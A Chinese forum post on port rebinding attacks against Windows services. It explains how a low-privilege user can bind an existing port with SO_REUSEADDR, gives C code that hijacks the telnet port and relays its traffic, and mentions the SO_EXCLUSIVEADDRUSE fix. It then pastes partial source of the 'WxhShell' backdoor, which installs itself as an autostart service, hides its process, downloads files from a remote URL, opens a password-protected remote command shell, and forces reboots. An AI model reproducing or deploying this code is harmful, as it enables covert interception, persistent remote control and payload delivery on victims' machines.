社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12553阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +v%+E{F$+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K z^.v`  
&#C|  
  saddr.sin_family = AF_INET; hAgrs[OFj  
FS7D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VVF9X(^rQ  
#x;d+Q@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f3;[ZS  
5> 81Vhc,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e9\_H=t+  
u$qasII  
  这意味着什么?意味着可以进行如下的攻击: p>U= Jg  
*"jlsI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Us[F@  
#.FhN x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2*W|s7cc  
R<3 -!p1v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &w=ul'R98  
n1x3q/~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x[&)\[t  
-f'&JwE0=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '0Q/oU  
]:#W$9,WL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uC]c`Ue  
nBd(p Oe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PE_JO(e;Xm  
[$]-W$j+  
  #include ocS}4.a@  
  #include Dl?:Mh  
  #include 1n)YCSA  
  #include    1k%HGQM{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fDXTedrG/  
  int main() xgsEe3|  
  { (nkiuCO  
  WORD wVersionRequested; $|@-u0sv  
  DWORD ret; ubKp P%Z  
  WSADATA wsaData; vgn,ZcX  
  BOOL val; z2A,*|I  
  SOCKADDR_IN saddr; %xX b5aY  
  SOCKADDR_IN scaddr; ;wHyX)&X $  
  int err; i\>?b)a>  
  SOCKET s; ;b|=osyT\  
  SOCKET sc; T0o0_R  
  int caddsize; b$/7rVH!  
  HANDLE mt; R2Q1Rk#  
  DWORD tid;   I 'ha=PeVn  
  wVersionRequested = MAKEWORD( 2, 2 ); {(d 6of`C_  
  err = WSAStartup( wVersionRequested, &wsaData ); 7Zft]C?|@  
  if ( err != 0 ) { ayg^js2,  
  printf("error!WSAStartup failed!\n"); H@|m^1  
  return -1; U*BI/wZ  
  } nwi8>MG  
  saddr.sin_family = AF_INET; 5IRUG)Icr  
   Gg^gK*D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z>*\nomOn=  
OP``+z>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AgOti]`aR  
  saddr.sin_port = htons(23); *"V) h I5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) - ^>7\]  
  { F~GIfJU  
  printf("error!socket failed!\n"); V|2[>\Cv  
  return -1; t&o&gb  
  } !#4b#l(e6  
  val = TRUE;  ,}^FV~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ka$la;e3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \ 5#eBJ  
  { G,b*Qn5#  
  printf("error!setsockopt failed!\n"); !3ji]q;uF  
  return -1; .aC/ g?U  
  } ?0d#O_la3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &8JK^zQq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AZ. j>+0xx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Cv< s|  
=pb ru=/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gS!zaD7Nr  
  { !!)NER-dv  
  ret=GetLastError(); .bNG:y>  
  printf("error!bind failed!\n"); }4q1"iMlO  
  return -1; /b."d\  
  } gAK"ShOhG=  
  listen(s,2); g7v(g?  
  while(1) `>HrO}x^  
  { 4@9xq<<5  
  caddsize = sizeof(scaddr); Pu,2a+0N  
  //接受连接请求 6&"GTK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 55zy]|F"  
  if(sc!=INVALID_SOCKET) R-Gg= l5  
  { [$`%ve  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;y-sd?pAk  
  if(mt==NULL) iE^=Vf;  
  { 1-s G`%  
  printf("Thread Creat Failed!\n"); Z)<lPg!YAR  
  break; ZtX CPA!  
  } HDj260a  
  } /PEL[Os  
  CloseHandle(mt); 6P0 2=  
  } B|r'  
  closesocket(s); ZDmY${J  
  WSACleanup(); C/q!!  
  return 0; z6 .^a-sU5  
  }   5I/lFoy7  
  DWORD WINAPI ClientThread(LPVOID lpParam) {n(/ c33  
  { #@P0i^pFTB  
  SOCKET ss = (SOCKET)lpParam; ~P'i /*:  
  SOCKET sc; ;]W@W1)$  
  unsigned char buf[4096]; sA oxLI  
  SOCKADDR_IN saddr; 8;x0U`}Ez(  
  long num; 0@Z}.k30  
  DWORD val; @DSKa`  
  DWORD ret; -[[( Zx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cVDcda|PE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v4F+^0?  
  saddr.sin_family = AF_INET; e s<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xcH&B %;f  
  saddr.sin_port = htons(23); =X7_!vSv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LX#gc.c  
  { d-T pY*v  
  printf("error!socket failed!\n"); 6i@* L\ Dl  
  return -1; Y} 6@ w  
  } od^ylg>K  
  val = 100; pk0{*Z?@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %a!gN  
  { w8a49Fv  
  ret = GetLastError(); S q{@4F}d  
  return -1; aa{+,(  
  } tTWEhHQ`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W:K '2j  
  { ri6KD  
  ret = GetLastError(); [pInF Qh6  
  return -1; /*MioaQB}p  
  } "uFwsjz&B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ',/2J0_  
  { bAwKmk9C  
  printf("error!socket connect failed!\n"); ~0@fK<C)O  
  closesocket(sc); Z58{YCY  
  closesocket(ss); tS-gaT`T  
  return -1; Y=5P=wE  
  } %Aqf=R_^  
  while(1) $tej~xZK  
  { AREjS $  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6&il>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nv\K!wZI=b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I&31jn_o /  
  num = recv(ss,buf,4096,0); jcb&h@T8kv  
  if(num>0) 7*"Jx}eM  
  send(sc,buf,num,0); _*MK"  
  else if(num==0) SZ}=~yoD(  
  break; V1~@   
  num = recv(sc,buf,4096,0); zTc*1(^  
  if(num>0) " m13HS  
  send(ss,buf,num,0); `.J17mQe"  
  else if(num==0) w ?*eBLJ(G  
  break; L#zD4L  
  } kw E2V+2  
  closesocket(ss); 6|~^P!&  
  closesocket(sc); @5ud{"|2  
  return 0 ; Z&U:KrFH  
  } gn&Zt}@[  
*UJ4\  
0^sY>N"  
========================================================== dvU{U@:sz  
Fj]06~u  
下边附上一个代码,,WXhSHELL q=Vh"]0g  
ixSr*+  
========================================================== =*"8N-FU  
]Yw$A  
#include "stdafx.h" %qiVbm0  
+vaA P=  
#include <stdio.h> Ikw@B)0}  
#include <string.h> G!;PV^6x  
#include <windows.h> S_/S2(V"  
#include <winsock2.h> 7eAV2.  
#include <winsvc.h> se`Eez}  
#include <urlmon.h> ~> Q9  
U3Z=X TB  
#pragma comment (lib, "Ws2_32.lib") t ^[fu,  
#pragma comment (lib, "urlmon.lib") DA.k8M  
^6z"@+;*  
#define MAX_USER   100 // 最大客户端连接数 =$fz</S=J  
#define BUF_SOCK   200 // sock buffer KmTFJ,iM  
#define KEY_BUFF   255 // 输入 buffer .JXEw%I@  
?'z/S5&j  
#define REBOOT     0   // 重启 CV.|~K0O  
#define SHUTDOWN   1   // 关机 %,_ZVgh0  
H8FvI"J  
#define DEF_PORT   5000 // 监听端口 w9G|)UDib  
ekL;SN  
#define REG_LEN     16   // 注册表键长度 &h I!mo  
#define SVC_LEN     80   // NT服务名长度 IBo  
} &B6  
// 从dll定义API ypx~WXFK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9<.O=-1~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [ gMn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e;"J,7@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  E|"SM A,  
l|?tqCT ^h  
// wxhshell配置信息 Nw1*);b[y  
struct WSCFG { 8O9^g4?  
  int ws_port;         // 监听端口 +w^,!gA&  
  char ws_passstr[REG_LEN]; // 口令 lAP k/G  
  int ws_autoins;       // 安装标记, 1=yes 0=no U?le|tK  
  char ws_regname[REG_LEN]; // 注册表键名 -smN}*3[  
  char ws_svcname[REG_LEN]; // 服务名 %m\:AK[}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w;`Jj -  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Az#_0=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m0TVi]v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f7~dn#<@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'E3T fM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1vj@ qw3  
4d5c ]%  
}; aC\f;&P >  
;v@G  
// default Wxhshell configuration 6r<a  
struct WSCFG wscfg={DEF_PORT, Lz.khE<  
    "xuhuanlingzhe", hbH~Ya=+S  
    1, ,bl }@0A  
    "Wxhshell", ]yf?i350  
    "Wxhshell", ^EX"fRwNi  
            "WxhShell Service", cZNcplt8  
    "Wrsky Windows CmdShell Service", S > ~f.   
    "Please Input Your Password: ", ,r w4Lo  
  1, /B@{w-N  
  "http://www.wrsky.com/wxhshell.exe", a31e.3 6g  
  "Wxhshell.exe" !Ud'(iGa  
    }; l5{60$g  
m6ge %  
// 消息定义模块 w5HIR/kP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m7'<k1#"Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y0a[Lb0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MF4 (  
char *msg_ws_ext="\n\rExit."; Q:(mK* _  
char *msg_ws_end="\n\rQuit."; :S0!  
char *msg_ws_boot="\n\rReboot..."; ~~OFymQ%?q  
char *msg_ws_poff="\n\rShutdown..."; **hQb$  
char *msg_ws_down="\n\rSave to "; uGMzU&+  
*#XZ*Ga  
char *msg_ws_err="\n\rErr!"; '6dVe 2V  
char *msg_ws_ok="\n\rOK!"; \Mg_Q$  
1n8[fgz  
char ExeFile[MAX_PATH]; <bzzbR[F  
int nUser = 0; lLTqk\8g  
HANDLE handles[MAX_USER]; e c&Y2  
int OsIsNt; CLrX!JV>  
?IVJ#6[  
SERVICE_STATUS       serviceStatus; U"k$qZ[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -+rzc&h  
W\~^*ny P6  
// 函数声明 H`CID*Ji  
int Install(void); V%oZT>T3  
int Uninstall(void); 0hemXvv1  
int DownloadFile(char *sURL, SOCKET wsh); 5[ zN M  
int Boot(int flag); M,]|L ch  
void HideProc(void); o6[.$C  
int GetOsVer(void); )@N d3Z  
int Wxhshell(SOCKET wsl); xak)YOLRV  
void TalkWithClient(void *cs); }L_YpG7  
int CmdShell(SOCKET sock); xQu|D>kv87  
int StartFromService(void); JI5o~; }m  
int StartWxhshell(LPSTR lpCmdLine); t@qf/1  
 rL{R=0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N y'\Q"Y]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XDemdMy$  
Z10Vx2B  
// 数据结构和表定义 k7CKl;Fck  
SERVICE_TABLE_ENTRY DispatchTable[] = |"gL {De  
{ y@3p5o9lv-  
{wscfg.ws_svcname, NTServiceMain}, 4nsJZo#S/  
{NULL, NULL} H$h#n~W~  
}; YExgUE|  
l^lb ^"o  
// 自我安装  arYq$~U  
int Install(void) pZnp!!G  
{ D<SC `  
  char svExeFile[MAX_PATH]; a `R%\@1  
  HKEY key; MUrPr   
  strcpy(svExeFile,ExeFile); w>%@Ug["  
wh8';LZ>R  
// 如果是win9x系统,修改注册表设为自启动 Y %"Ji[  
if(!OsIsNt) { j7~FR{: j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *jlIV$r_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U] LDi8  
  RegCloseKey(key); 5'} V`?S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1F@j?)(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pE5v~~9Ikv  
  RegCloseKey(key); %2}fW\% '  
  return 0; X;I9\Cp]!  
    } RxP H[7oZ  
  } yix[zfQt0  
} BX >L7n  
else { sey,J5?  
\vA*dQ-  
// 如果是NT以上系统,安装为系统服务 a`!Jq'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "n%s>@$  
if (schSCManager!=0) Oidf\%!mvR  
{ +hyOc|5  
  SC_HANDLE schService = CreateService ^m qEKy<  
  ( c#n 2 !  
  schSCManager, }s~c(sL?;  
  wscfg.ws_svcname, %fj5 ;}E.  
  wscfg.ws_svcdisp, {X!OK3e  
  SERVICE_ALL_ACCESS, n Nt28n@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mO>L]<O  
  SERVICE_AUTO_START, Pyo|Sgk  
  SERVICE_ERROR_NORMAL, b:dN )m  
  svExeFile, 6_j |@  
  NULL, yb`PMjj15  
  NULL, C96/   
  NULL, !jj`Ht)  
  NULL, P%3pM*.  
  NULL :X0L6y)u  
  ); p `"k=tZ{  
  if (schService!=0) n:5M E*  
  { 4zoQe>v~  
  CloseServiceHandle(schService); [X(4( 1i  
  CloseServiceHandle(schSCManager); aFnel8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \9?[|m z  
  strcat(svExeFile,wscfg.ws_svcname); 5n@YNaoIb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8dczC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]\(8d[ 4  
  RegCloseKey(key); s4|\cY`b-  
  return 0; /(dP)ysc  
    } |mEWN/@C  
  } ,Bk5( e  
  CloseServiceHandle(schSCManager); ./YR8#,  
} }Hg G<.H>  
} ~>u .d  
cQU/z"?+  
return 1; EeuYRyK  
} kKX' Y+  
6nx\|F  
// 自我卸载  Gl~l  
int Uninstall(void) s)^/3a  
{ aO'#!k*R  
  HKEY key; )^j_O^T5  
N^L@MR-  
if(!OsIsNt) { 8 x{Owj:Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s0SzO,Vi  
  RegDeleteValue(key,wscfg.ws_regname); 4#$#x=:  
  RegCloseKey(key); ? #K|l*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]E`<8hRB  
  RegDeleteValue(key,wscfg.ws_regname); zggnDkC5  
  RegCloseKey(key); J@3,  
  return 0; GY~$<^AK  
  } Ln+l'&_nb  
} wI.aV>  
} 1dH|/9  
else { ^? fOccfQ{  
8w0~2-v.?V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %8'8XDq^8  
if (schSCManager!=0) VBhUh~:Om  
{ fQ<sq0' e\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RZa/la*  
  if (schService!=0) [|(|"dh@^H  
  { /$~1e7 W  
  if(DeleteService(schService)!=0) { R N$vKJk  
  CloseServiceHandle(schService); ,B <\a  
  CloseServiceHandle(schSCManager); _#8hgwf>  
  return 0; aacy5E  
  } \v2!5z8|  
  CloseServiceHandle(schService); E>~R P^?Uz  
  } n$i X6Cd  
  CloseServiceHandle(schSCManager); =?i?-6M  
} kCBtK?g  
} #AD_EN9  
T+Oqd\05.+  
return 1; d ^bSV4  
} HbTVuf o  
fM= o?w6v  
// 从指定url下载文件 M xE]EJZ  
int DownloadFile(char *sURL, SOCKET wsh) `|t,Uc|7!  
{ k&Pt\- 9on  
  HRESULT hr; &YhAB\Rw  
char seps[]= "/"; w~3X m{  
char *token; h@,ja  
char *file; sy&[Q{,4  
char myURL[MAX_PATH]; J%&LQ9  
char myFILE[MAX_PATH]; z:QDWH  
"zEl2Xn28_  
strcpy(myURL,sURL); 4 Gu'WbJ  
  token=strtok(myURL,seps); G%W9?4_K  
  while(token!=NULL) RY-iFydPc  
  { R5HT EB  
    file=token; WtM%(8Y[]  
  token=strtok(NULL,seps); -cgO]q+Oq  
  } h<.5:a  
(J:+'u  
GetCurrentDirectory(MAX_PATH,myFILE); ]!hjKu"  
strcat(myFILE, "\\"); ]S2rqKB  
strcat(myFILE, file); )2f#@0SVL  
  send(wsh,myFILE,strlen(myFILE),0); SB62(#YR  
send(wsh,"...",3,0); )G P;KUVae  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r%,?uim#  
  if(hr==S_OK) N ,~O+  
return 0; {cK<iQJ  
else Y>x{ [er  
return 1; @*;x1A-]V  
wkg4I.  
} |#Gxqq'  
-gn0@hS0  
// 系统电源模块 8P n  
int Boot(int flag) +B ?qx Q  
{ g"-j/ c   
  HANDLE hToken; K@.5   
  TOKEN_PRIVILEGES tkp; Cfi{%,em  
Jh"[ug  
  if(OsIsNt) { oo'9ZE/%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 85<k'>~L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -#\T  
    tkp.PrivilegeCount = 1; 1/dL-"*0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8Km&3nCv$Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gek?+|m  
if(flag==REBOOT) { L%/RD2L D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L8 P0bNi  
  return 0; LuS@Kf8N+  
} bZowc {!\  
else { H<Sn p)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z'L0YqXG/  
  return 0; ~Ntk -p  
} *>m[ZJd%=  
  } ~Ztn(1N  
  else { +k`L8@a3&  
if(flag==REBOOT) { KzHN|8 $o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qz(D1>5I?  
  return 0; )*KMU?  
} j0l,1=^>l  
else { 1?'4%>kp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -P]O t>%S  
  return 0; i/>k_mG$d  
} hh;kBv07o  
} o"z()w~  
u>>|ZPe  
return 1; 3vrVX<_  
} 1*O|[W  
-`]9o3E7H  
// win9x进程隐藏模块 Q{/z>-X\x  
void HideProc(void) )%C.IZ_s2  
{ j0l{Mc5  
J 6 ~Sr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N&8$tJ(hhx  
  if ( hKernel != NULL ) ( 5LCy?-6  
  { P1F-Wy1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -}7$;QK&a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8h] TI_  
    FreeLibrary(hKernel); %. 1/ #{  
  } 1W|jC   
d1~#@6CIz  
return; .@H:P  
} g->*@%?<w>  
Nl\`xl6y]  
// 获取操作系统版本 =, XCjiBeC  
int GetOsVer(void) [-(^>Y  
{ -%fQr5  
  OSVERSIONINFO winfo; 4"&-a1N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (\:Rnl  
  GetVersionEx(&winfo); 4Kj.o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c=sV"r?  
  return 1; :Xw|v2z%3  
  else -2.7Z`*(  
  return 0; jKUEs75]  
} =~:IiK/#  
{B+}LL!  
// 客户端句柄模块 [ycX)iM  
int Wxhshell(SOCKET wsl) fU6YJs.H^8  
{ q9 Df`6+  
  SOCKET wsh; p?gm=b#  
  struct sockaddr_in client; #A)V  
  DWORD myID; J|W E&5'  
 +n1!xv]  
  while(nUser<MAX_USER) ~RR!~q  
{ ':.Hz]]/A  
  int nSize=sizeof(client); :1+Aj (  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @.;+WQE  
  if(wsh==INVALID_SOCKET) return 1; {!Qu(%  
^4sfVpD2!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fD!c t;UK  
if(handles[nUser]==0) %lCZ7z2o  
  closesocket(wsh); 5]O{tSj  
else gWj-@o\  
  nUser++; O:?3B!wF  
  } ;yNc 7Vl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $PJ==N  
\%7*@&  
  return 0; /,G `V  
} TPp]UG  
M+ [ho]  
// 关闭 socket ~kW?]/$h  
void CloseIt(SOCKET wsh) +tPBm{|  
{ %`]+sg[i  
closesocket(wsh); qzW3MlD  
nUser--; 7(@xk_Pl  
ExitThread(0); yTZev|ej@  
} |))NjM'ZBl  
dN2JOyS  
// 客户端请求句柄 NK|UeL7ght  
void TalkWithClient(void *cs) GxdAOiq;  
{ &nEL}GM)E  
|k.'w<6mb9  
  SOCKET wsh=(SOCKET)cs; xmg3,bO  
  char pwd[SVC_LEN]; eiK_JPFA-  
  char cmd[KEY_BUFF]; b 3x|Dq.  
char chr[1]; ^hLr9k   
int i,j; _LJF:E5L  
Sa g)}6+  
  while (nUser < MAX_USER) { W )FxN,  
~qinCIj  
if(wscfg.ws_passstr) { 9c^,v_W@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~0MpB~ {xd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); um,f!ho-U  
  //ZeroMemory(pwd,KEY_BUFF); j_JY[sex  
      i=0; Tpl]\L1v-  
  while(i<SVC_LEN) { 0pE >O7  
D:T]$<=9  
  // 设置超时 i{^T;uAE  
  fd_set FdRead; K<P d.:  
  struct timeval TimeOut; QFP9"FM5F  
  FD_ZERO(&FdRead); H )ej]DXy  
  FD_SET(wsh,&FdRead); ACyK#5E  
  TimeOut.tv_sec=8; Mj@2=c  
  TimeOut.tv_usec=0; 7 $y;-[E[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &g|[/~dIr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -[=~!Qr:  
$a_y-lY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3;>ls~4  
  pwd=chr[0]; NO!Qo:  
  if(chr[0]==0xd || chr[0]==0xa) { |5 V0_79  
  pwd=0; y[m,t}gi  
  break; ` aVp#  
  } d{YvdN9d  
  i++; A.>mk598  
    } 'rB% a<  
]oP1c-GEk  
  // 如果是非法用户,关闭 socket !|[rh,e]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;1(^H:7T  
} GD4S/fn3  
NW1Jr/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o=Vs)8W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &jJu=6 U B  
t6"%u3W8M  
while(1) { C:B7%<  
KlT:&1SB9  
  ZeroMemory(cmd,KEY_BUFF); `nF SJlr&  
7ws<' d7/  
      // 自动支持客户端 telnet标准   a{`hAI${  
  j=0; ~HmH#"VP  
  while(j<KEY_BUFF) { h%/BZC^L]|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *2h%dT:,%  
  cmd[j]=chr[0]; G4(R/<J,BQ  
  if(chr[0]==0xa || chr[0]==0xd) { ?Bf>G]zx  
  cmd[j]=0; Yc[umn^K  
  break; `w!XO$"]Z  
  } AR [m+E  
  j++; u`'" =Y_E  
    } E0ED[d,  
9,?~dx  
  // 下载文件 WE\TUENac(  
  if(strstr(cmd,"http://")) { I[?\ Or  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X.b8qbnq[  
  if(DownloadFile(cmd,wsh)) =v:?rY}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gkr9+  
  else 81Z;hO"~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f"s_dR  
  } \]> YLyG  
  else { ~e}JqJ(97  
P) vD?)Q  
    switch(cmd[0]) { A|ZT ;\  
  9L>?N:%5  
  // 帮助 :;_ khno  
  case '?': { :9hGL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (4FVemgy  
    break; h ;*x1BVE  
  } YYQvt  
  // 安装 F{x+1hct0  
  case 'i': { sa'1hX^@  
    if(Install()) /"X_{3dq?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x0# Bc7y  
    else 0=>$J WF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qj^Uz+b  
    break; CV0id&Nv  
    } Lap?L/NS  
  // 卸载 %Y&48''"  
  case 'r': { <&\ng^Z$  
    if(Uninstall()) VlV X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%EeU 3  
    else S70#_{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [QnN1k  
    break; <@Q27oEuA  
    } d]0:r]e  
  // 显示 wxhshell 所在路径 w;,34qbf  
  case 'p': { `0Udg,KOs  
    char svExeFile[MAX_PATH]; b<tV>d"Fv  
    strcpy(svExeFile,"\n\r"); <D |&)/#  
      strcat(svExeFile,ExeFile); mz0{eO  
        send(wsh,svExeFile,strlen(svExeFile),0); f\ P0%  
    break; k{2Gq1S{  
    } 33~MP;  
  // 重启 >` s"C  
  case 'b': { s*PKr6X+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <1*kXTN(  
    if(Boot(REBOOT)) T f3CyH!k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/E&&{`ls  
    else { "WKOlfPa  
    closesocket(wsh); 4v_Ac;2m&  
    ExitThread(0); wa[L[mw  
